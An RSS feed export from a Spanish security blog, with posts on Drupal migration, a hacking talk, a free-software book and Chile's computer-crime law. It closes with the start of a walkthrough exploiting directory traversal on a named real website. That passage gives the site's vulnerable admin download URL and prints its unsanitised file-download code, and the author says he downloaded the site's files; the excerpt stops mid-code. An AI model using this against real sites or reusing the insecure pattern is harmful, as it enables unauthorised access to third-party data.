<div class="de2"><span class="kw2">function</span> getRows<span class="br0">&#40;</span><span class="re0">$resource</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&lt; &lt; &quot;</span>.<a href="http://www.php.net/mysql_num_rows"><span class="kw3">mysql_num_rows</span></a><span class="br0">&#40;</span><span class="re0">$resource</span><span class="br0">&#41;</span>.<span class="st0">&quot; rows.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p><strong>NOTA</strong> Estos scripts son los <em>originales</em> que he usado para migrar una plataforma, si alguien quiere darle un uso personal debe hacer las modificaciones correspondientes que se adapten a su propio modelo de datos y a sus propias necesidades.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fmigracion-exportacion-importacion-datos-drupal%2F&amp;linkname=Migraci%C3%B3n%20de%20datos%20en%20Drupal">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Paper: Hacking Automatizado</title>
		<link>http://blog.zerial.org/seguridad/paper-hacking-automatizado/</link>
		<comments>http://blog.zerial.org/seguridad/paper-hacking-automatizado/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 13:20:17 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[charlas]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[hacking automatizado]]></category>
		<category><![CDATA[hackmeeting]]></category>
		<category><![CDATA[paper]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=884</guid>
		<description><![CDATA[Como les comenté en el post anterior, una de las charlas con las que participaré en el Hackmeeting será &#8220;Hacking Automatizado&#8220;, les dejo los enlaces para que puedan descargar la primera revisión de este paper. Hacking Automatizado [PDF &#124; ODP]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zerial.org/wp-content/uploads/2009/09/ha_1-300x109.png" alt="ha_1" title="ha_1" width="300" height="109" class="aligncenter size-medium wp-image-886" /></p>
<p>Como les comenté en el <a href="http://blog.zerial.org/seguridad/charlas-hacking-automatizado-y-live-hacking/">post anterior</a>, una de las charlas con las que participaré en el <a href="http://hackmeeting.kernelhouse.org">Hackmeeting</a> será &#8220;<strong>Hacking Automatizado</strong>&#8220;, les dejo los enlaces para que puedan descargar la primera revisión de este <em>paper</em>.</p>
<p><strong>Hacking Automatizado</strong> [<a href="http://zerial.org/charlas/seguridad/hacking_automatizado_rev1.pdf">PDF</a> | <a href="http://zerial.org/charlas/seguridad/hacking_automatizado_rev1.odp">ODP</a>]</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fpaper-hacking-automatizado%2F&amp;linkname=Paper%3A%20Hacking%20Automatizado" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fpaper-hacking-automatizado%2F&amp;linkname=Paper%3A%20Hacking%20Automatizado" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fpaper-hacking-automatizado%2F&amp;linkname=Paper%3A%20Hacking%20Automatizado" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fpaper-hacking-automatizado%2F&amp;linkname=Paper%3A%20Hacking%20Automatizado" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fpaper-hacking-automatizado%2F&amp;linkname=Paper%3A%20Hacking%20Automatizado" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fpaper-hacking-automatizado%2F&amp;linkname=Paper%3A%20Hacking%20Automatizado" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fpaper-hacking-automatizado%2F&amp;linkname=Paper%3A%20Hacking%20Automatizado" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fpaper-hacking-automatizado%2F&amp;linkname=Paper%3A%20Hacking%20Automatizado">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/paper-hacking-automatizado/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lectura recomendada: Software libre para una sociedad libre</title>
		<link>http://blog.zerial.org/linux/documentacion/lectura-recomendada-software-libre-para-una-sociedad-libre/</link>
		<comments>http://blog.zerial.org/linux/documentacion/lectura-recomendada-software-libre-para-una-sociedad-libre/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 17:39:31 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[free software]]></category>
		<category><![CDATA[lectura]]></category>
		<category><![CDATA[libro]]></category>
		<category><![CDATA[rms]]></category>
		<category><![CDATA[Software Libre]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=848</guid>
		<description><![CDATA[La semana pasada estuvo por KernelHouse, daniche, un amigo de Bolivia quien dejó un libro titulado &#8211; y autografiado &#8211; &#8220;Software Libre para una sociedad libre&#8221; por Richard M. Stallman, se trata de la primera version en castellano de su libro &#8220;Free Software, Free Society&#8221; . Este libro describe el lado filosófico y teórico del [...]]]></description>
			<content:encoded><![CDATA[<p>La semana pasada estuvo por <a href="http://kernelhouse.org" target="_blank">KernelHouse</a>, daniche, un amigo de Bolivia quien dejó un libro titulado &#8211; y <em>autografiado</em> &#8211; &#8220;<em>Software Libre para una sociedad libre</em>&#8221; por Richard M. Stallman, se trata de la primera version en <em>castellano</em> de su libro &#8220;<em>Free Software, Free Society</em>&#8221; . Este libro describe el lado filosófico y teórico del movimiento del Software Libre, tocando temas como el copyleft, licencias libres, propiedad intelectual, copyright, etc.</p>
<p><img class="aligncenter size-full wp-image-849" title="software_libre_para_una_sociedad_libre_portada_completa" src="http://blog.zerial.org/wp-content/uploads/2009/09/software_libre_para_una_sociedad_libre_portada_completa.png" alt="software_libre_para_una_sociedad_libre_portada_completa" width="200" height="290" /></p>
<p>Para algunos este tipo de lecturas suele ser fome y aburrida, pero la verdad es queno cro que busque entretener a la gente, mas bien educar y promover la libertad del software.</p>
<p>Links de descarga:</p>
<p>Mirror 1: <a href="http://blog.zerial.org/files/software_libre_para_una_sociedad_libre.pdf">Desde este blog [PDF]</a><br />
Mirror 2: <a href="http://www.traficantes.net/index.php/trafis/content/download/18110/185232/file/softlibre%20enriquecido.pdf">Traficantes de sueños [PDF]</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Flectura-recomendada-software-libre-para-una-sociedad-libre%2F&amp;linkname=Lectura%20recomendada%3A%20Software%20libre%20para%20una%20sociedad%20libre" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Flectura-recomendada-software-libre-para-una-sociedad-libre%2F&amp;linkname=Lectura%20recomendada%3A%20Software%20libre%20para%20una%20sociedad%20libre" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Flectura-recomendada-software-libre-para-una-sociedad-libre%2F&amp;linkname=Lectura%20recomendada%3A%20Software%20libre%20para%20una%20sociedad%20libre" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Flectura-recomendada-software-libre-para-una-sociedad-libre%2F&amp;linkname=Lectura%20recomendada%3A%20Software%20libre%20para%20una%20sociedad%20libre" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Flectura-recomendada-software-libre-para-una-sociedad-libre%2F&amp;linkname=Lectura%20recomendada%3A%20Software%20libre%20para%20una%20sociedad%20libre" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Flectura-recomendada-software-libre-para-una-sociedad-libre%2F&amp;linkname=Lectura%20recomendada%3A%20Software%20libre%20para%20una%20sociedad%20libre" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Flectura-recomendada-software-libre-para-una-sociedad-libre%2F&amp;linkname=Lectura%20recomendada%3A%20Software%20libre%20para%20una%20sociedad%20libre" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Flectura-recomendada-software-libre-para-una-sociedad-libre%2F&amp;linkname=Lectura%20recomendada%3A%20Software%20libre%20para%20una%20sociedad%20libre">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/documentacion/lectura-recomendada-software-libre-para-una-sociedad-libre/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Análisis de la Ley de Delitos Informaticos en Chile</title>
		<link>http://blog.zerial.org/linux/documentacion/analisis-de-la-ley-de-delitos-informaticos-en-chile/</link>
		<comments>http://blog.zerial.org/linux/documentacion/analisis-de-la-ley-de-delitos-informaticos-en-chile/#comments</comments>
		<pubDate>Sun, 30 Aug 2009 18:57:39 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[ley de delitos informaticos]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=824</guid>
		<description><![CDATA[Me gustaría hacer un análisis desde mi punto de vista a los cuatro vagos artículos de la Ley de delitos informáticos en Chile, críticandolos destructiva y constructivamente, llevando cada artículo a la realidad y siendo lo más realista posible. imagen tomada de clarin.com Si no me equivoco, esta ley está vigente desde el 28 de [...]]]></description>
			<content:encoded><![CDATA[<p>Me gustaría hacer un análisis desde mi punto de vista a los cuatro vagos artículos de la Ley de delitos informáticos en Chile, críticandolos destructiva y constructivamente, llevando cada artículo a la realidad y siendo lo  más realista posible.</p>
<p><img class="aligncenter size-full wp-image-827" title="delitos_informaticos" src="http://blog.zerial.org/wp-content/uploads/2009/08/delitos_informaticos.jpg" alt="delitos_informaticos" width="295" height="225" /><center>imagen tomada de clarin.com</center></p>
<p>Si no me equivoco, esta ley está vigente desde el 28 de Mayo de 1993 y de hecho, creo que a estas alturas esta bastante anticuada.</p>
<blockquote><p><strong>Artículo 1º.-</strong> El que maliciosamente destruya o inutilice un sistema de tratamiento de información o sus partes o componentes, o impida, obstaculice o modifique su funcionamiento, sufrirá la pena de presidio menor en su grado medio a máximo.<br />
Si como consecuencia de estas conductas se afectaren los datos contenidos en el sistema, se aplicará la pena señalada en el inciso anterior, en su grado máximo.</p>
<p><strong>Artículo 2º.- </strong>El que con el ánimo de apoderarse, usar o conocer indebidamente de la información contenida en un sistema de tratamiento de la misma, lo intercepte, interfiera o acceda a él, será castigado con presidio menor en su grado mínimo a medio.</p>
<p><strong>Artículo 3º.-</strong> El que maliciosamente altere, dañe o destruya los datos contenidos en un sistema de tratamiento de información, será castigado con presidio menor en su grado medio.</p>
<p><strong>Artículo 4º.</strong>- El que maliciosamente revele o difunda los datos contenidos en un sistema de información, sufrirá la pena de presidio menor en su grado medio. Si quien incurre en estas conductas es el responsable del sistema de información, la pena se aumentará en un grado.&#8221;.</p>
<p>Y por cuanto he tenido a bien aprobarlo y sancionarlo; por tanto promúlguese y llévese a efecto como Ley de la República.</p>
<p><em>Santiago, 28 de Mayo de 1993.- ENRIQUE KRAUSS RUSQUE, Vicepresidente de la República.- Francisco Cumplido Cereceda, Ministro de Justicia.</em></p></blockquote>
<p><span id="more-824"></span></p>
<p>A continuación analizaré uno a uno los artículos anteriormente escritos:</p>
<p><strong>El que maliciosamente destruya o inutilice un sistema de tratamiento de información o sus partes o componentes, o impida, obstaculice o modifique su funcionamiento, sufrirá la pena de presidio menor en su grado medio a máximo.<br />
Si como consecuencia de estas conductas se afectaren los datos contenidos en el sistema, se aplicará la pena señalada en el inciso anterior, en su grado máximo.</strong></p>
<p>Al leer el primer párrafo, lo primero que se me viene a la mente es un ataque de denegación de servicio, pero si lo analizo más profundamente, hace referencia a  &#8220;<em>destruir, inutlizar, obstaculizar o modificar funcionamiento</em>&#8221; lo que perfectamente podría ser un ddos, deface o borrado de información, es decir, en Chile el <em>defacement</em> y los <em>ataques de denegación de servicio (DoS)</em> está penado por la ley.</p>
<p><strong>El que con el ánimo de apoderarse, usar o conocer indebidamente de la información contenida en un sistema de tratamiento de la misma, lo intercepte, interfiera o acceda a él, será castigado con presidio menor en su grado mínimo a medio.</strong></p>
<p>Este tema para mi es muy delicado. Uno puede ingresar a un sistema de distintas formas, <em>bypaseando</em> un sistema de autentificación, ingresando un usuario y clave conocida (obtenida de algun lugar), etc. El punto es lo que la persona haga con esa información, si yo ingreso a un sistema informatico y me robo la información y la uso para beneficio propio, lucro con ella o algo por el estilo, claro que esta mal, pero desde mi punto de vista, si las personas no fueron capaces de proteger la información &#8220;privada&#8221; y cualquiera puede acceder a esa información, entonces es información pública, ya que perfectamente se podría ingresar mediante Google. Hay veces que por escribir mal una url te encuentras con información que no debes estar viendo.<br />
Mi pregunta es la siguiente, ¿Qué sucede si encuentras un directorio con el listado de archivos habilitado, en el cual hay archivos y bases de datos listas para ser descargadas y se lo pasas a un &#8220;amigo&#8221;, esta persona sin saber lo que es, comienza a descargarlo y esto comienza a difundirse, esa persona &#8220;amigo&#8221; esta cometiendo un delito? Ahora que están tan de moda los servicios de acortamiento de URL, ¿qué pasa si acorto una url y la envio a una masa de gente haciendolos caer en una trampa? ¿Qué sucede si tengo acceso a un servidor y con hacer &#8220;ls -liar /home&#8221; encuentro información que para otras personas es privada?</p>
<p><strong>El que maliciosamente altere, dañe o destruya los datos contenidos en un sistema de tratamiento de información, será castigado con presidio menor en su grado medio.</strong><br />
Completamente de acuerdo.</p>
<p><strong>El que maliciosamente revele o difunda los datos contenidos en un sistema de información, sufrirá la pena de presidio menor en su grado medio. Si quien incurre en estas conductas es el responsable del sistema de información, la pena se aumentará en un grado.&#8221;.<br />
</strong></p>
<p>Se hace referencia de forma explícita a quien lo haga de forma <strong>maliciosa</strong>, aqui entramos en una discusión mas o menos, ya que quien define qué cosa es malicioso o no?<br />
Pongamonos en este caso, yo ingreso a un sistema y descubro que existe currupción en alguna organización y decido hacer pública dicha información, obviamente para la gente corrupta esto es algo malicioso, pero para la otra gente no.<br />
En este blog existe mucha información relacionada con empresas, jamás lo he hecho de forma maliciosa, sinmo que educativa y para hacer un juicio público sobre los servicios &#8220;informaticos&#8221; que se ofrecen en Chile, pero perfectamente esas empresas podrían hacer algo contra mia, ya que para ellos es algo malicioso.</p>
<p>En este país (al igual que en muchos otros) falta humildad por parte de las empresas, por parte de los &#8220;expertos&#8221;, muchas veces un desarrollador, jefe de proyecto o jefe de area no reconoce un error y prefiere hacerse el imbécil y mirar hacia otro lado antes de aceptar una critica o aceptar que su sistema es vulnerable. Si fuesen profesionales para sus cosas, los sistemas de manejo de información en Chile serían de muy buena calidad.<br />
Encuentro que este tipo de leyes son nada mas algo para encubrir la poca preocupación por temas de seguridad, la ignorancia y poco profesionalismo de algunos desarrolladores y de gente encargada de la seguridad que piensan que teniendo un firewall de $1.000.000USD y ejecutando aplicaciones de test de seguridad, instalando antivirus esta todo solucionado.</p>
<p>En fin, mi conclusión: <strong>Esta ley para lo unico que sirve es para fomentar la no-preocupación por la seguridad informática.</strong></p>
<p><strong>Link:</strong><br />
<a target="_blank" href="http://delitosinformaticos.com/legislacion/chile.shtml">Delitos Informaticos</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fanalisis-de-la-ley-de-delitos-informaticos-en-chile%2F&amp;linkname=An%C3%A1lisis%20de%20la%20Ley%20de%20Delitos%20Informaticos%20en%20Chile" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fanalisis-de-la-ley-de-delitos-informaticos-en-chile%2F&amp;linkname=An%C3%A1lisis%20de%20la%20Ley%20de%20Delitos%20Informaticos%20en%20Chile" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fanalisis-de-la-ley-de-delitos-informaticos-en-chile%2F&amp;linkname=An%C3%A1lisis%20de%20la%20Ley%20de%20Delitos%20Informaticos%20en%20Chile" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fanalisis-de-la-ley-de-delitos-informaticos-en-chile%2F&amp;linkname=An%C3%A1lisis%20de%20la%20Ley%20de%20Delitos%20Informaticos%20en%20Chile" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fanalisis-de-la-ley-de-delitos-informaticos-en-chile%2F&amp;linkname=An%C3%A1lisis%20de%20la%20Ley%20de%20Delitos%20Informaticos%20en%20Chile" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fanalisis-de-la-ley-de-delitos-informaticos-en-chile%2F&amp;linkname=An%C3%A1lisis%20de%20la%20Ley%20de%20Delitos%20Informaticos%20en%20Chile" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fanalisis-de-la-ley-de-delitos-informaticos-en-chile%2F&amp;linkname=An%C3%A1lisis%20de%20la%20Ley%20de%20Delitos%20Informaticos%20en%20Chile" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdocumentacion%2Fanalisis-de-la-ley-de-delitos-informaticos-en-chile%2F&amp;linkname=An%C3%A1lisis%20de%20la%20Ley%20de%20Delitos%20Informaticos%20en%20Chile">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/documentacion/analisis-de-la-ley-de-delitos-informaticos-en-chile/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Explotando una vulnerabilidad Full Path Disclosure+Directory Transversal</title>
		<link>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/</link>
		<comments>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/#comments</comments>
		<pubDate>Sat, 22 Aug 2009 00:35:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=770</guid>
		<description><![CDATA[Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es sólo con fines educativos, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan estúpidas comunes, este documento no es para ti, asi que vete [...]]]></description>
			<content:encoded><![CDATA[<p>Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es <strong>sólo</strong> con fines <em>educativos</em>, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan <span style="text-decoration: line-through;">estúpidas</span> comunes, este documento no es para ti, asi que vete maldito delincuente hacker inescrupuloso.</p>
<p><img src="http://blog.zerial.org/wp-content/uploads/2009/08/directory-trans.jpg" alt="directory-trans" title="directory-trans" width="200" height="192" class="aligncenter size-full wp-image-778" /></p>
<p>Habien dicho todo esto, llego el momento de la acción. <strong>Wanna rock?</strong></p>
<p><span id="more-770"></span></p>
<p>El sitio que usaremos será el de <a href="http://www.veramonte.cl" target="_blank">Veramonte</a> y las vulnerabilidades que <span style="text-decoration: line-through;">explotaré</span> enseñaré son <strong>Full Path Disclosure</strong> y <strong>Directory Transversal</strong> (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).<br />
Como primer paso, ingresaremos al sitio <a href="http://www.veramonte.cl" target="_blank">http://www.veramonte.cl</a> y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:</p>
<p><a href="http://www.veramonte.cl/archivo/archivo2.php?cat=bodega" target="_blank">http://www.veramonte.cl/archivo/archivo2.php?cat=bodega</a></p>
<p>Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=">http://www.veramonte.cl/admin/download.php?path=</a></p>
<p>Mis ojos se dirigieron directamente a la variable &#8220;path&#8221; y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&quot;path&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=<span class="es0">\&quot;</span>$f<span class="es0">\&quot;</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
